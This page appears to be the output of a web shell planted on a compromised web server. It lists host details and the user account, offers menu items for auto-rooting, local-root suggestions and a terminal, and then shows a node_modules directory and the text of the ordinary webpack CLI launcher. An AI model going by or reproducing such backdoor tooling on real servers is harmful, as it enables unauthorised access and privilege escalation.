Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.15.22.202
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
.bin /
Delete
Unzip
Name
Size
Permission
Date
Action
acorn
62
B
-rwxrwxr-x
2022-08-30 11:49
atob
122
B
-rwxrwxr-x
2022-08-30 11:49
autoprefixer
554
B
-rwxrwxr-x
2022-08-30 11:49
babylon
341
B
-rwxrwxr-x
2022-08-30 11:49
browser-sync
7.19
KB
-rwxrwxr-x
2022-08-30 11:49
browserslist
4.06
KB
-rwxrwxr-x
2022-08-30 11:49
color-support
127
B
-rwxrwxr-x
2022-08-30 11:49
cssbeautify
2.47
KB
-rwxrwxr-x
2022-08-30 11:49
csso
292
B
-rwxrwxr-x
2022-08-30 11:49
dev-ip
896
B
-rwxrwxr-x
2022-08-30 11:49
errno
440
B
-rwxrwxr-x
2022-08-30 11:49
esparse
4.83
KB
-rwxrwxr-x
2022-08-30 11:49
esvalidate
7.56
KB
-rwxrwxr-x
2022-08-30 11:49
gulp
44
B
-rwxrwxr-x
2022-08-30 11:49
handlebars
4.14
KB
-rwxrwxr-x
2022-08-30 11:49
is-docker
105
B
-rwxrwxr-x
2022-08-30 11:49
js-yaml
2.66
KB
-rwxrwxr-x
2022-08-30 11:49
jsesc
3.74
KB
-rwxrwxr-x
2022-08-30 11:49
json5
3.51
KB
-rwxrwxr-x
2022-08-30 11:49
loose-envify
356
B
-rwxrwxr-x
2022-08-30 11:49
lt
2.73
KB
-rwxrwxr-x
2022-08-30 11:49
marked
4.16
KB
-rwxrwxr-x
2022-08-30 11:49
mime
149
B
-rwxrwxr-x
2022-08-30 11:49
mkdirp
731
B
-rwxrwxr-x
2022-08-30 11:49
nanoid
1.1
KB
-rwxrwxr-x
2022-08-30 11:49
node-which
985
B
-rwxrwxr-x
2022-08-30 11:49
nopt
1.51
KB
-rwxrwxr-x
2022-08-30 11:49
panini
1.26
KB
-rwxrwxr-x
2022-08-30 11:49
parser
328
B
-rwxrwxr-x
2022-08-30 11:49
regjsparser
1.74
KB
-rwxrwxr-x
2022-08-30 11:49
resolve
1.44
KB
-rwxrwxr-x
2022-08-30 11:49
rimraf
1.83
KB
-rwxrwxr-x
2022-08-30 11:49
sass
196
B
-rwxrwxr-x
2022-08-30 11:49
semver
4.61
KB
-rwxrwxr-x
2022-08-30 11:49
svgo
55
B
-rwxrwxr-x
2022-08-30 11:49
terser
444
B
-rwxrwxr-x
2022-08-30 11:49
throttleproxy
2.16
KB
-rwxrwxr-x
2022-08-30 11:49
uglifyjs
22.92
KB
-rwxrwxr-x
2022-08-30 11:49
uuid
44
B
-rwxrwxr-x
2022-08-30 11:49
webpack
3.81
KB
-rwxrwxr-x
2022-08-30 11:49
Save
Rename
#!/usr/bin/env node /** * @param {string} command process to run * @param {string[]} args command line arguments * @returns {Promise<void>} promise */ const runCommand = (command, args) => { const cp = require("child_process"); return new Promise((resolve, reject) => { const executedCommand = cp.spawn(command, args, { stdio: "inherit", shell: true }); executedCommand.on("error", error => { reject(error); }); executedCommand.on("exit", code => { if (code === 0) { resolve(); } else { reject(); } }); }); }; /** * @param {string} packageName name of the package * @returns {boolean} is the package installed? */ const isInstalled = packageName => { if (process.versions.pnp) { return true; } const path = require("path"); const fs = require("graceful-fs"); let dir = __dirname; do { try { if ( fs.statSync(path.join(dir, "node_modules", packageName)).isDirectory() ) { return true; } } catch (_error) { // Nothing } } while (dir !== (dir = path.dirname(dir))); return false; }; /** * @param {CliOption} cli options * @returns {void} */ const runCli = cli => { const path = require("path"); const pkgPath = require.resolve(`${cli.package}/package.json`); // eslint-disable-next-line node/no-missing-require const pkg = require(pkgPath); // eslint-disable-next-line node/no-missing-require require(path.resolve(path.dirname(pkgPath), pkg.bin[cli.binName])); }; /** * @typedef {Object} CliOption * @property {string} name display name * @property {string} package npm package name * @property {string} binName name of the executable file * @property {boolean} installed currently installed? * @property {string} url homepage */ /** @type {CliOption} */ const cli = { name: "webpack-cli", package: "webpack-cli", binName: "webpack-cli", installed: isInstalled("webpack-cli"), url: "https://github.com/webpack/webpack-cli" }; if (!cli.installed) { const path = require("path"); const fs = require("graceful-fs"); const readLine = require("readline"); const notify = "CLI for webpack must be installed.\n" + ` ${cli.name} (${cli.url})\n`; console.error(notify); let packageManager; if (fs.existsSync(path.resolve(process.cwd(), "yarn.lock"))) { packageManager = "yarn"; } else if (fs.existsSync(path.resolve(process.cwd(), "pnpm-lock.yaml"))) { packageManager = "pnpm"; } else { packageManager = "npm"; } const installOptions = [packageManager === "yarn" ? "add" : "install", "-D"]; console.error( `We will use "${packageManager}" to install the CLI via "${packageManager} ${installOptions.join( " " )} ${cli.package}".` ); const question = `Do you want to install 'webpack-cli' (yes/no): `; const questionInterface = readLine.createInterface({ input: process.stdin, output: process.stderr }); // In certain scenarios (e.g. when STDIN is not in terminal mode), the callback function will not be // executed. Setting the exit code here to ensure the script exits correctly in those cases. The callback // function is responsible for clearing the exit code if the user wishes to install webpack-cli. process.exitCode = 1; questionInterface.question(question, answer => { questionInterface.close(); const normalizedAnswer = answer.toLowerCase().startsWith("y"); if (!normalizedAnswer) { console.error( "You need to install 'webpack-cli' to use webpack via CLI.\n" + "You can also install the CLI manually." ); return; } process.exitCode = 0; console.log( `Installing '${ cli.package }' (running '${packageManager} ${installOptions.join(" ")} ${ cli.package }')...` ); runCommand(packageManager, installOptions.concat(cli.package)) .then(() => { runCli(cli); }) .catch(error => { console.error(error); process.exitCode = 1; }); }); } else { runCli(cli); }